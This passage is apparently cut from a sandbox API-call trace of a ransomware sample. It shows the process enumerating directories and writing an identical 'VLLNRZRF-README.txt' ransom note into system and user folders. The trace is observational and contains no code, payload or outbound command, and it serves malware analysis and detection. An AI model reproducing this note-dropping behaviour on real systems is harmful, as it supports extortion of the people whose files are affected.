nFileSizeLow=0x1907b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0080.609] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.609] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.609] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.610] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.610] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0080.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9a0) returned 1 [0080.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e990) returned 1 [0080.610] FindNextFileW (in: hFindFile=0x1a578ba0, lpFindFileData=0x1ca2e7a0 | out: lpFindFileData=0x1ca2e7a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.610] FindClose (in: hFindFile=0x1a578ba0 | out: hFindFile=0x1a578ba0) returned 1 [0080.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2ea00) returned 1 [0080.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e9f0) returned 1 [0080.610] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0080.610] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x1ca2e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0080.611] FindNextFileW (in: hFindFile=0x1a578c00, lpFindFileData=0x1ca2e800 | out: lpFindFileData=0x1ca2e800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.611] FindClose (in: hFindFile=0x1a578c00 | out: hFindFile=0x1a578c00) returned 1 [0080.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2ea60) returned 1 [0080.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2ea50) returned 1 [0080.646] GetFullPathNameW (in: lpFileName="C:\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x16 [0080.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0080.646] GetFileAttributesExW (in: lpFileName="C:\\VLLNRZRF-README.txt" (normalized: "c:\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0080.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0080.785] GetFullPathNameW (in: lpFileName="C:\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x16 [0080.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0080.785] CreateFileW (lpFileName="C:\\VLLNRZRF-README.txt" (normalized: "c:\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x414 [0080.788] GetFileType (hFile=0x414) returned 0x1 [0080.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0080.788] GetFileType (hFile=0x414) returned 0x1 [0080.789] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0080.790] WriteFile (in: hFile=0x414, lpBuffer=0x2405cc8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2405cc8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0080.791] CloseHandle (hObject=0x414) returned 1 [0080.825] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x21 [0080.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0080.825] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi\\VLLNRZRF-README.txt" (normalized: "c:\\config.msi\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0080.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0080.826] GetFullPathNameW (in: lpFileName="C:\\Config.Msi\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Config.Msi\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x21 [0080.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0080.826] CreateFileW (lpFileName="C:\\Config.Msi\\VLLNRZRF-README.txt" (normalized: "c:\\config.msi\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x42c [0080.847] GetFileType (hFile=0x42c) returned 0x1 [0080.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0080.847] GetFileType (hFile=0x42c) returned 0x1 [0080.847] SetFilePointer (in: hFile=0x42c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0080.847] WriteFile (in: hFile=0x42c, lpBuffer=0x24091a8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x24091a8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0080.849] CloseHandle (hObject=0x42c) returned 1 [0081.085] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0081.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0081.085] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings\\VLLNRZRF-README.txt" (normalized: "c:\\documents and settings\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0081.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0081.085] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x2d [0081.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0081.085] CreateFileW (lpFileName="C:\\Documents and Settings\\VLLNRZRF-README.txt" (normalized: "c:\\documents and settings\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x440 [0081.086] GetFileType (hFile=0x440) returned 0x1 [0081.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0081.086] GetFileType (hFile=0x440) returned 0x1 [0081.087] SetFilePointer (in: hFile=0x440, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0081.087] WriteFile (in: hFile=0x440, lpBuffer=0x2411598*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2411598*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0081.088] CloseHandle (hObject=0x440) returned 1 [0081.140] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x1f [0081.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0081.140] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\VLLNRZRF-README.txt" (normalized: "c:\\msocache\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0081.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0081.140] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x1f [0081.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0081.140] CreateFileW (lpFileName="C:\\MSOCache\\VLLNRZRF-README.txt" (normalized: "c:\\msocache\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x454 [0081.141] GetFileType (hFile=0x454) returned 0x1 [0081.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0081.141] GetFileType (hFile=0x454) returned 0x1 [0081.141] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0081.142] WriteFile (in: hFile=0x454, lpBuffer=0x2415550*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2415550*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0081.143] CloseHandle (hObject=0x454) returned 1 [0081.177] GetFullPathNameW (in: lpFileName="C:\\Recovery\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x1f [0081.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0081.177] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\VLLNRZRF-README.txt" (normalized: "c:\\recovery\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0081.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0081.177] GetFullPathNameW (in: lpFileName="C:\\Recovery\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x1f [0081.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0081.177] CreateFileW (lpFileName="C:\\Recovery\\VLLNRZRF-README.txt" (normalized: "c:\\recovery\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x470 [0081.178] GetFileType (hFile=0x470) returned 0x1 [0081.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0081.178] GetFileType (hFile=0x470) returned 0x1 [0081.178] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0081.179] WriteFile (in: hFile=0x470, lpBuffer=0x24195e8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x24195e8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0081.180] CloseHandle (hObject=0x470) returned 1 [0081.232] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x44 [0081.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0081.232] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\VLLNRZRF-README.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0081.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0081.233] GetFullPathNameW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x44 [0081.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0081.233] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\VLLNRZRF-README.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x488 [0081.233] GetFileType (hFile=0x488) returned 0x1 [0081.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0081.233] GetFileType (hFile=0x488) returned 0x1 [0081.233] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0081.271] WriteFile (in: hFile=0x488, lpBuffer=0x241e940*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x241e940*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0081.272] CloseHandle (hObject=0x488) returned 1 [0084.010] GetFullPathNameW (in: lpFileName="C:\\Users\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x1c [0084.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0084.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\VLLNRZRF-README.txt" (normalized: "c:\\users\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1210cb0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xa1210cb0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xa1210cb0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0084.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0084.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x31 [0084.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0084.071] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0084.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0084.071] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x31 [0084.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0084.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x434 [0084.072] GetFileType (hFile=0x434) returned 0x1 [0084.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0084.072] GetFileType (hFile=0x434) returned 0x1 [0084.072] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0084.072] WriteFile (in: hFile=0x434, lpBuffer=0x23f11a0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23f11a0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0084.074] CloseHandle (hObject=0x434) returned 1 [0084.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x42 [0084.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0084.263] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0084.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0084.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x42 [0084.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0084.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\application data\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x41c [0084.265] GetFileType (hFile=0x41c) returned 0x1 [0084.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0084.265] GetFileType (hFile=0x41c) returned 0x1 [0084.265] SetFilePointer (in: hFile=0x41c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0084.266] WriteFile (in: hFile=0x41c, lpBuffer=0x23f6cf8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23f6cf8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0084.267] CloseHandle (hObject=0x41c) returned 1 [0084.836] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3a [0084.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0084.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0084.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0084.836] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3a [0084.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0084.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\vllnrzrf-readme.txt"), 